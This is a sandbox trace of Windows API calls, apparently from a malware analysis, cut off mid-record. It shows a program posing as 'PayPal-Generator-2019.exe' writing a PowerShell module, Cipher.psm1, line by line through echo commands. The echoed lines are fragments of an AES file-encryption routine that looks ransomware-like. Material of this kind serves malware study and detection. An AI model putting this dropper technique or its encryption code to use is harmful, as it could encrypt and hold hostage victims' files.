hTemplateFile=0x0) returned 0x3c [0049.325] _open_osfhandle (_OSFileHandle=0x3c, _Flags=8) returned 1 [0049.325] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.325] GetFileType (hFile=0x3c) returned 0x1 [0049.325] GetFileSize (in: hFile=0x3c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xdd6 [0049.325] SetFilePointer (in: hFile=0x3c, lDistanceToMove=-1, lpDistanceToMoveHigh=0xe2dd44*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0xe2dd44*=0) returned 0xdd5 [0049.325] ReadFile (in: hFile=0x3c, lpBuffer=0xe2dd48, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe2dd38, lpOverlapped=0x0 | out: lpBuffer=0xe2dd48*, lpNumberOfBytesRead=0xe2dd38*=0x1, lpOverlapped=0x0) returned 1 [0049.325] GetConsoleTitleW (in: lpConsoleTitle=0xe2db48, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\PayPal-Generator-2019.exe") returned 0x37 [0049.326] _wcsicmp (_String1="echo", _String2="DIR") returned 1 [0049.326] _wcsicmp (_String1="echo", _String2="ERASE") returned -15 [0049.326] _wcsicmp (_String1="echo", _String2="DEL") returned 1 [0049.326] _wcsicmp (_String1="echo", _String2="TYPE") returned -15 [0049.326] _wcsicmp (_String1="echo", _String2="COPY") returned 2 [0049.326] _wcsicmp (_String1="echo", _String2="CD") returned 2 [0049.326] _wcsicmp (_String1="echo", _String2="CHDIR") returned 2 [0049.326] _wcsicmp (_String1="echo", _String2="RENAME") returned -13 [0049.326] _wcsicmp (_String1="echo", _String2="REN") returned -13 [0049.326] _wcsicmp (_String1="echo", _String2="ECHO") returned 0 [0049.327] _vsnwprintf (in: _Buffer=0x1066940, _BufferCount=0x1fff, _Format="%s\r\n", _ArgList=0xe2db04 | out: _Buffer=" $Crypto.GenerateIV() \r\n") returned 41 [0049.327] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.327] GetFileType (hFile=0x3c) returned 0x1 [0049.327] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.327] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" $Crypto.GenerateIV() \r\n", cchWideChar=-1, lpMultiByteStr=0x106a960, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" $Crypto.GenerateIV() \r\n", lpUsedDefaultChar=0x0) returned 42 [0049.327] WriteFile (in: hFile=0x3c, lpBuffer=0x106a960*, nNumberOfBytesToWrite=0x29, lpNumberOfBytesWritten=0xe2daf4, lpOverlapped=0x0 | out: lpBuffer=0x106a960*, lpNumberOfBytesWritten=0xe2daf4*=0x29, lpOverlapped=0x0) returned 1 [0049.327] _dup2 (_FileHandleSrc=3, _FileHandleDst=1) returned 0 [0049.327] _close (_FileHandle=3) returned 0 [0049.327] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.327] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.327] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.327] GetFileType (hFile=0x3c) returned 0x2 [0049.328] GetStdHandle (nStdHandle=0xfffffff5) returned 0x3c [0049.328] GetConsoleMode (in: hConsoleHandle=0x3c, lpMode=0xe2dcec | out: lpMode=0xe2dcec) returned 1 [0049.329] _dup (_FileHandle=1) returned 3 [0049.329] _close (_FileHandle=1) returned 0 [0049.330] _wcsicmp (_String1="Cipher.psm1", _String2="con") returned -6 [0049.330] CreateFileW (lpFileName="Cipher.psm1" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\windowspowershell\\modules\\cipher\\cipher.psm1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0xe2dccc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c [0049.330] _open_osfhandle (_OSFileHandle=0x3c, _Flags=8) returned 1 [0049.330] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.330] GetFileType (hFile=0x3c) returned 0x1 [0049.330] GetFileSize (in: hFile=0x3c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xdff [0049.330] SetFilePointer (in: hFile=0x3c, lDistanceToMove=-1, lpDistanceToMoveHigh=0xe2dce4*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0xe2dce4*=0) returned 0xdfe [0049.330] ReadFile (in: hFile=0x3c, lpBuffer=0xe2dce8, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe2dcd8, lpOverlapped=0x0 | out: lpBuffer=0xe2dce8*, lpNumberOfBytesRead=0xe2dcd8*=0x1, lpOverlapped=0x0) returned 1 [0049.330] GetConsoleTitleW (in: lpConsoleTitle=0xe2dae8, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\PayPal-Generator-2019.exe") returned 0x37 [0049.331] _wcsicmp (_String1="echo", _String2="DIR") returned 1 [0049.331] _wcsicmp (_String1="echo", _String2="ERASE") returned -15 [0049.331] _wcsicmp (_String1="echo", _String2="DEL") returned 1 [0049.331] _wcsicmp (_String1="echo", _String2="TYPE") returned -15 [0049.331] _wcsicmp (_String1="echo", _String2="COPY") returned 2 [0049.331] _wcsicmp (_String1="echo", _String2="CD") returned 2 [0049.331] _wcsicmp (_String1="echo", _String2="CHDIR") returned 2 [0049.331] _wcsicmp (_String1="echo", _String2="RENAME") returned -13 [0049.331] _wcsicmp (_String1="echo", _String2="REN") returned -13 [0049.331] _wcsicmp (_String1="echo", _String2="ECHO") returned 0 [0049.331] _vsnwprintf (in: _Buffer=0x1066940, _BufferCount=0x1fff, _Format="%s\r\n", _ArgList=0xe2daa4 | out: _Buffer=" $FileStreamWriter.Write([System.BitConverter]::GetBytes($Crypto.IV.Length), 0, 4) \r\n") returned 101 [0049.331] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.331] GetFileType (hFile=0x3c) returned 0x1 [0049.332] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.332] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" $FileStreamWriter.Write([System.BitConverter]::GetBytes($Crypto.IV.Length), 0, 4) \r\n", cchWideChar=-1, lpMultiByteStr=0x106a960, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" $FileStreamWriter.Write([System.BitConverter]::GetBytes($Crypto.IV.Length), 0, 4) \r\n", lpUsedDefaultChar=0x0) returned 102 [0049.332] WriteFile (in: hFile=0x3c, lpBuffer=0x106a960*, nNumberOfBytesToWrite=0x65, lpNumberOfBytesWritten=0xe2da94, lpOverlapped=0x0 | out: lpBuffer=0x106a960*, lpNumberOfBytesWritten=0xe2da94*=0x65, lpOverlapped=0x0) returned 1 [0049.332] _dup2 (_FileHandleSrc=3, _FileHandleDst=1) returned 0 [0049.333] _close (_FileHandle=3) returned 0 [0049.333] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.333] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.333] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.333] GetFileType (hFile=0x3c) returned 0x2 [0049.333] GetStdHandle (nStdHandle=0xfffffff5) returned 0x3c [0049.333] GetConsoleMode (in: hConsoleHandle=0x3c, lpMode=0xe2dc8c | out: lpMode=0xe2dc8c) returned 1 [0049.334] _dup (_FileHandle=1) returned 3 [0049.334] _close (_FileHandle=1) returned 0 [0049.334] _wcsicmp (_String1="Cipher.psm1", _String2="con") returned -6 [0049.334] CreateFileW (lpFileName="Cipher.psm1" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\windowspowershell\\modules\\cipher\\cipher.psm1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0xe2dc6c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c [0049.334] _open_osfhandle (_OSFileHandle=0x3c, _Flags=8) returned 1 [0049.334] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.334] GetFileType (hFile=0x3c) returned 0x1 [0049.334] GetFileSize (in: hFile=0x3c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xe64 [0049.334] SetFilePointer (in: hFile=0x3c, lDistanceToMove=-1, lpDistanceToMoveHigh=0xe2dc84*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0xe2dc84*=0) returned 0xe63 [0049.334] ReadFile (in: hFile=0x3c, lpBuffer=0xe2dc88, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe2dc78, lpOverlapped=0x0 | out: lpBuffer=0xe2dc88*, lpNumberOfBytesRead=0xe2dc78*=0x1, lpOverlapped=0x0) returned 1 [0049.334] GetConsoleTitleW (in: lpConsoleTitle=0xe2da88, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\PayPal-Generator-2019.exe") returned 0x37 [0049.336] _wcsicmp (_String1="echo", _String2="DIR") returned 1 [0049.336] _wcsicmp (_String1="echo", _String2="ERASE") returned -15 [0049.336] _wcsicmp (_String1="echo", _String2="DEL") returned 1 [0049.336] _wcsicmp (_String1="echo", _String2="TYPE") returned -15 [0049.336] _wcsicmp (_String1="echo", _String2="COPY") returned 2 [0049.336] _wcsicmp (_String1="echo", _String2="CD") returned 2 [0049.336] _wcsicmp (_String1="echo", _String2="CHDIR") returned 2 [0049.336] _wcsicmp (_String1="echo", _String2="RENAME") returned -13 [0049.336] _wcsicmp (_String1="echo", _String2="REN") returned -13 [0049.336] _wcsicmp (_String1="echo", _String2="ECHO") returned 0 [0049.337] _vsnwprintf (in: _Buffer=0x1066940, _BufferCount=0x1fff, _Format="%s\r\n", _ArgList=0xe2da44 | out: _Buffer=" $FileStreamWriter.Write($Crypto.IV, 0, $Crypto.IV.Length) \r\n") returned 77 [0049.337] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.337] GetFileType (hFile=0x3c) returned 0x1 [0049.337] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.337] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" $FileStreamWriter.Write($Crypto.IV, 0, $Crypto.IV.Length) \r\n", cchWideChar=-1, lpMultiByteStr=0x106a960, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" $FileStreamWriter.Write($Crypto.IV, 0, $Crypto.IV.Length) \r\n", lpUsedDefaultChar=0x0) returned 78 [0049.337] WriteFile (in: hFile=0x3c, lpBuffer=0x106a960*, nNumberOfBytesToWrite=0x4d, lpNumberOfBytesWritten=0xe2da34, lpOverlapped=0x0 | out: lpBuffer=0x106a960*, lpNumberOfBytesWritten=0xe2da34*=0x4d, lpOverlapped=0x0) returned 1 [0049.337] _dup2 (_FileHandleSrc=3, _FileHandleDst=1) returned 0 [0049.337] _close (_FileHandle=3) returned 0 [0049.337] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.337] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.337] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.338] GetFileType (hFile=0x3c) returned 0x2 [0049.338] GetStdHandle (nStdHandle=0xfffffff5) returned 0x3c [0049.338] GetConsoleMode (in: hConsoleHandle=0x3c, lpMode=0xe2dc2c | out: lpMode=0xe2dc2c) returned 1 [0049.339] _dup (_FileHandle=1) returned 3 [0049.339] _close (_FileHandle=1) returned 0 [0049.339] _wcsicmp (_String1="Cipher.psm1", _String2="con") returned -6 [0049.339] CreateFileW (lpFileName="Cipher.psm1" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\windowspowershell\\modules\\cipher\\cipher.psm1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0xe2dc0c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c [0049.340] _open_osfhandle (_OSFileHandle=0x3c, _Flags=8) returned 1 [0049.340] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.340] GetFileType (hFile=0x3c) returned 0x1 [0049.340] GetFileSize (in: hFile=0x3c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xeb1 [0049.340] SetFilePointer (in: hFile=0x3c, lDistanceToMove=-1, lpDistanceToMoveHigh=0xe2dc24*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0xe2dc24*=0) returned 0xeb0 [0049.340] ReadFile (in: hFile=0x3c, lpBuffer=0xe2dc28, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe2dc18, lpOverlapped=0x0 | out: lpBuffer=0xe2dc28*, lpNumberOfBytesRead=0xe2dc18*=0x1, lpOverlapped=0x0) returned 1 [0049.340] GetConsoleTitleW (in: lpConsoleTitle=0xe2da28, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\PayPal-Generator-2019.exe") returned 0x37 [0049.341] _wcsicmp (_String1="echo", _String2="DIR") returned 1 [0049.341] _wcsicmp (_String1="echo", _String2="ERASE") returned -15 [0049.341] _wcsicmp (_String1="echo", _String2="DEL") returned 1 [0049.341] _wcsicmp (_String1="echo", _String2="TYPE") returned -15 [0049.341] _wcsicmp (_String1="echo", _String2="COPY") returned 2 [0049.341] _wcsicmp (_String1="echo", _String2="CD") returned 2 [0049.341] _wcsicmp (_String1="echo", _String2="CHDIR") returned 2 [0049.341] _wcsicmp (_String1="echo", _String2="RENAME") returned -13 [0049.341] _wcsicmp (_String1="echo", _String2="REN") returned -13 [0049.341] _wcsicmp (_String1="echo", _String2="ECHO") returned 0 [0049.341] _vsnwprintf (in: _Buffer=0x1066940, _BufferCount=0x1fff, _Format="%s\r\n", _ArgList=0xe2d9e4 | out: _Buffer=" $Transform = $Crypto.CreateEncryptor() \r\n") returned 58 [0049.341] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.341] GetFileType (hFile=0x3c) returned 0x1 [0049.341] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.341] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" $Transform = $Crypto.CreateEncryptor() \r\n", cchWideChar=-1, lpMultiByteStr=0x106a960, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" $Transform = $Crypto.CreateEncryptor() \r\n", lpUsedDefaultChar=0x0) returned 59 [0049.341] WriteFile (in: hFile=0x3c, lpBuffer=0x106a960*, nNumberOfBytesToWrite=0x3a, lpNumberOfBytesWritten=0xe2d9d4, lpOverlapped=0x0 | out: lpBuffer=0x106a960*, lpNumberOfBytesWritten=0xe2d9d4*=0x3a, lpOverlapped=0x0) returned 1 [0049.341] _dup2 (_FileHandleSrc=3, _FileHandleDst=1) returned 0 [0049.342] _close (_FileHandle=3) returned 0 [0049.342] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.342] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.342] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.342] GetFileType (hFile=0x3c) returned 0x2 [0049.342] GetStdHandle (nStdHandle=0xfffffff5) returned 0x3c [0049.342] GetConsoleMode (in: hConsoleHandle=0x3c, lpMode=0xe2dbcc | out: lpMode=0xe2dbcc) returned 1 [0049.343] _dup (_FileHandle=1) returned 3 [0049.343] _close (_FileHandle=1) returned 0 [0049.343] _wcsicmp (_String1="Cipher.psm1", _String2="con") returned -6 [0049.343] CreateFileW (lpFileName="Cipher.psm1" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\windowspowershell\\modules\\cipher\\cipher.psm1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0xe2dbac, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c [0049.343] _open_osfhandle (_OSFileHandle=0x3c, _Flags=8) returned 1 [0049.343] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.343] GetFileType (hFile=0x3c) returned 0x1 [0049.343] GetFileSize (in: hFile=0x3c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xeeb [0049.343] SetFilePointer (in: hFile=0x3c, lDistanceToMove=-1, lpDistanceToMoveHigh=0xe2dbc4*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0xe2dbc4*=0) returned 0xeea [0049.343] ReadFile (in: hFile=0x3c, lpBuffer=0xe2dbc8, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe2dbb8, lpOverlapped=0x0 | out: lpBuffer=0xe2dbc8*, lpNumberOfBytesRead=0xe2dbb8*=0x1, lpOverlapped=0x0) returned 1 [0049.343] GetConsoleTitleW (in: lpConsoleTitle=0xe2d9c8, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\PayPal-Generator-2019.exe") returned 0x37 [0049.344] _wcsicmp (_String1="echo", _String2="DIR") returned 1 [0049.344] _wcsicmp (_String1="echo", _String2="ERASE") returned -15 [0049.344] _wcsicmp (_String1="echo", _String2="DEL") returned 1 [0049.344] _wcsicmp (_String1="echo", _String2="TYPE") returned -15 [0049.344] _wcsicmp (_String1="echo", _String2="COPY") returned 2 [0049.344] _wcsicmp (_String1="echo", _String2="CD") returned 2 [0049.344] _wcsicmp (_String1="echo", _String2="CHDIR") returned 2 [0049.344] _wcsicmp (_String1="echo", _String2="RENAME") returned -13 [0049.344] _wcsicmp (_String1="echo", _String2="REN") returned -13 [0049.344] _wcsicmp (_String1="echo", _String2="ECHO") returned 0 [0049.344] _vsnwprintf (in: _Buffer=0x1066940, _BufferCount=0x1fff, _Format="%s\r\n", _ArgList=0xe2d984 | out: _Buffer=" $CryptoStream = New-Object System.Security.Cryptography.CryptoStream($FileStreamWriter, $Transform, [System.Security.Cryptography.CryptoStreamMode]::Write) \r\n") returned 175 [0049.344] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.345] GetFileType (hFile=0x3c) returned 0x1 [0049.345] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.345] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" $CryptoStream = New-Object System.Security.Cryptography.CryptoStream($FileStreamWriter, $Transform, [System.Security.Cryptography.CryptoStreamMode]::Write) \r\n", cchWideChar=-1, lpMultiByteStr=0x106a960, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" $CryptoStream = New-Object System.Security.Cryptography.CryptoStream($FileStreamWriter, $Transform, [System.Security.Cryptography.CryptoStreamMode]::Write) \r\n", lpUsedDefaultChar=0x0) returned 176 [0049.345] WriteFile (in: hFile=0x3c, lpBuffer=0x106a960*, nNumberOfBytesToWrite=0xaf, lpNumberOfBytesWritten=0xe2d974, lpOverlapped=0x0 | out: lpBuffer=0x106a960*, lpNumberOfBytesWritten=0xe2d974*=0xaf, lpOverlapped=0x0) returned 1 [0049.345] _dup2 (_FileHandleSrc=3, _FileHandleDst=1) returned 0 [0049.345] _close (_FileHandle=3) returned 0 [0049.345] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.345] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.345] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.345] GetFileType (hFile=0x3c) returned 0x2 [0049.345] GetStdHandle (nStdHandle=0xfffffff5) returned 0x3c [0049.346] GetConsoleMode (in: hConsoleHandle=0x3c, lpMode=0xe2db6c | out: lpMode=0xe2db6c) returned 1 [0049.346] _dup (_FileHandle=1) returned 3 [0049.346] _close (_FileHandle=1) returned 0 [0049.347] _wcsicmp (_String1="Cipher.psm1", _String2="con") returned -6 [0049.347] CreateFileW (lpFileName="Cipher.psm1" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\windowspowershell\\modules\\cipher\\cipher.psm1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0xe2db4c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c [0049.347] _open_osfhandle (_OSFileHandle=0x3c, _Flags=8) returned 1 [0049.347] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.347] GetFileType (hFile=0x3c) returned 0x1 [0049.347] GetFileSize (in: hFile=0x3c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xf9a [0049.347] SetFilePointer (in: hFile=0x3c, lDistanceToMove=-1, lpDistanceToMoveHigh=0xe2db64*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0xe2db64*=0) returned 0xf99 [0049.347] ReadFile (in: hFile=0x3c, lpBuffer=0xe2db68, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe2db58, lpOverlapped=0x0 | out: lpBuffer=0xe2db68*, lpNumberOfBytesRead=0xe2db58*=0x1, lpOverlapped=0x0) returned 1 [0049.347] GetConsoleTitleW (in: lpConsoleTitle=0xe2d968, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\PayPal-Generator-2019.exe") returned 0x37 [0049.348] _wcsicmp (_String1="echo", _String2="DIR") returned 1 [0049.348] _wcsicmp (_String1="echo", _String2="ERASE") returned -15 [0049.348] _wcsicmp (_String1="echo", _String2="DEL") returned 1 [0049.348] _wcsicmp (_String1="echo", _String2="TYPE") returned -15 [0049.348] _wcsicmp (_String1="echo", _String2="COPY") returned 2 [0049.348] _wcsicmp (_String1="echo", _String2="CD") returned 2 [0049.348] _wcsicmp (_String1="echo", _String2="CHDIR") returned 2 [0049.348] _wcsicmp (_String1="echo", _String2="RENAME") returned -13 [0049.348] _wcsicmp (_String1="echo", _String2="REN") returned -13 [0049.348] _wcsicmp (_String1="echo", _String2="ECHO") returned 0 [0049.349] _vsnwprintf (in: _Buffer=0x1066940, _BufferCount=0x1fff, _Format="%s\r\n", _ArgList=0xe2d924 | out: _Buffer=" $FileStreamReader.CopyTo($CryptoStream) \r\n") returned 59 [0049.349] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.349] GetFileType (hFile=0x3c) returned 0x1 [0049.349] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.349] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" $FileStreamReader.CopyTo($CryptoStream) \r\n", cchWideChar=-1, lpMultiByteStr=0x106a960, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" $FileStreamReader.CopyTo($CryptoStream) \r\n", lpUsedDefaultChar=0x0) returned 60 [0049.349] WriteFile (in: hFile=0x3c, lpBuffer=0x106a960*, nNumberOfBytesToWrite=0x3b, lpNumberOfBytesWritten=0xe2d914, lpOverlapped=0x0 | out: lpBuffer=0x106a960*, lpNumberOfBytesWritten=0xe2d914*=0x3b, lpOverlapped=0x0) returned 1 [0049.349] _dup2 (_FileHandleSrc=3, _FileHandleDst=1) returned 0 [0049.350] _close (_FileHandle=3) returned 0 [0049.350] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.350] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.350] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.350] GetFileType (hFile=0x3c) returned 0x2 [0049.350] GetStdHandle (nStdHandle=0xfffffff5) returned 0x3c [0049.350] GetConsoleMode (in: hConsoleHandle=0x3c, lpMode=0xe2db0c | out: lpMode=0xe2db0c) returned 1 [0049.351] _dup (_FileHandle=1) returned 3 [0049.351] _close (_FileHandle=1) returned 0 [0049.351] _wcsicmp (_String1="Cipher.psm1", _String2="con") returned -6 [0049.351] CreateFileW (lpFileName="Cipher.psm1" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\windowspowershell\\modules\\cipher\\cipher.psm1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0xe2daec, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c [0049.352] _open_osfhandle (_OSFileHandle=0x3c, _Flags=8) returned 1 [0049.352] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.352] GetFileType (hFile=0x3c) returned 0x1 [0049.352] GetFileSize (in: hFile=0x3c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xfd5 [0049.352] SetFilePointer (in: hFile=0x3c, lDistanceToMove=-1, lpDistanceToMoveHigh=0xe2db04*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0xe2db04*=0) returned 0xfd4 [0049.352] ReadFile (in: hFile=0x3c, lpBuffer=0xe2db08, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe2daf8, lpOverlapped=0x0 | out: lpBuffer=0xe2db08*, lpNumberOfBytesRead=0xe2daf8*=0x1, lpOverlapped=0x0) returned 1 [0049.352] GetConsoleTitleW (in: lpConsoleTitle=0xe2d908, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\PayPal-Generator-2019.exe") returned 0x37 [0049.353] _wcsicmp (_String1="echo", _String2="DIR") returned 1 [0049.353] _wcsicmp (_String1="echo", _String2="ERASE") returned -15 [0049.353] _wcsicmp (_String1="echo", _String2="DEL") returned 1 [0049.353] _wcsicmp (_String1="echo", _String2="TYPE") returned -15 [0049.353] _wcsicmp (_String1="echo", _String2="COPY") returned 2 [0049.353] _wcsicmp (_String1="echo", _String2="CD") returned 2 [0049.353] _wcsicmp (_String1="echo", _String2="CHDIR") returned 2 [0049.353] _wcsicmp (_String1="echo", _String2="RENAME") returned -13 [0049.353] _wcsicmp (_String1="echo", _String2="REN") returned -13 [0049.353] _wcsicmp (_String1="echo", _String2="ECHO") returned 0 [0049.353] _vsnwprintf (in: _Buffer=0x1066940, _BufferCount=0x1fff, _Format="%s\r\n", _ArgList=0xe2d8c4 | out: _Buffer=" $CryptoStream.FlushFinalBlock() \r\n") returned 51 [0049.353] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.353] GetFileType (hFile=0x3c) returned 0x1 [0049.353] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.353] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" $CryptoStream.FlushFinalBlock() \r\n", cchWideChar=-1, lpMultiByteStr=0x106a960, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" $CryptoStream.FlushFinalBlock() \r\n", lpUsedDefaultChar=0x0) returned 52 [0049.353] WriteFile (in: hFile=0x3c, lpBuffer=0x106a960*, nNumberOfBytesToWrite=0x33, lpNumberOfBytesWritten=0xe2d8b4, lpOverlapped=0x0 | out: lpBuffer=0x106a960*, lpNumberOfBytesWritten=0xe2d8b4*=0x33, lpOverlapped=0x0) returned 1 [0049.353] _dup2 (_FileHandleSrc=3, _FileHandleDst=1) returned 0 [0049.354] _close (_FileHandle=3) returned 0 [0049.354] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.354] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.354] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.354] GetFileType (hFile=0x3c) returned 0x2 [0049.354] GetStdHandle (nStdHandle=0xfffffff5) returned 0x3c [0049.354] GetConsoleMode (in: hConsoleHandle=0x3c, lpMode=0xe2daac | out: lpMode=0xe2daac) returned 1 [0049.355] _dup (_FileHandle=1) returned 3 [0049.355] _close (_FileHandle=1) returned 0 [0049.355] _wcsicmp (_String1="Cipher.psm1", _String2="con") returned -6 [0049.355] CreateFileW (lpFileName="Cipher.psm1" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\windowspowershell\\modules\\cipher\\cipher.psm1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0xe2da8c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c [0049.356] _open_osfhandle (_OSFileHandle=0x3c, _Flags=8) returned 1 [0049.356] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.356] GetFileType (hFile=0x3c) returned 0x1 [0049.356] GetFileSize (in: hFile=0x3c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x1008 [0049.356] SetFilePointer (in: hFile=0x3c, lDistanceToMove=-1, lpDistanceToMoveHigh=0xe2daa4*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0xe2daa4*=0) returned 0x1007 [0049.356] ReadFile (in: hFile=0x3c, lpBuffer=0xe2daa8, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe2da98, lpOverlapped=0x0 | out: lpBuffer=0xe2daa8*, lpNumberOfBytesRead=0xe2da98*=0x1, lpOverlapped=0x0) returned 1 [0049.356] GetConsoleTitleW (in: lpConsoleTitle=0xe2d8a8, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\PayPal-Generator-2019.exe") returned 0x37 [0049.357] _wcsicmp (_String1="echo", _String2="DIR") returned 1 [0049.357] _wcsicmp (_String1="echo", _String2="ERASE") returned -15 [0049.357] _wcsicmp (_String1="echo", _String2="DEL") returned 1 [0049.357] _wcsicmp (_String1="echo", _String2="TYPE") returned -15 [0049.357] _wcsicmp (_String1="echo", _String2="COPY") returned 2 [0049.357] _wcsicmp (_String1="echo", _String2="CD") returned 2 [0049.357] _wcsicmp (_String1="echo", _String2="CHDIR") returned 2 [0049.357] _wcsicmp (_String1="echo", _String2="RENAME") returned -13 [0049.357] _wcsicmp (_String1="echo", _String2="REN") returned -13 [0049.357] _wcsicmp (_String1="echo", _String2="ECHO") returned 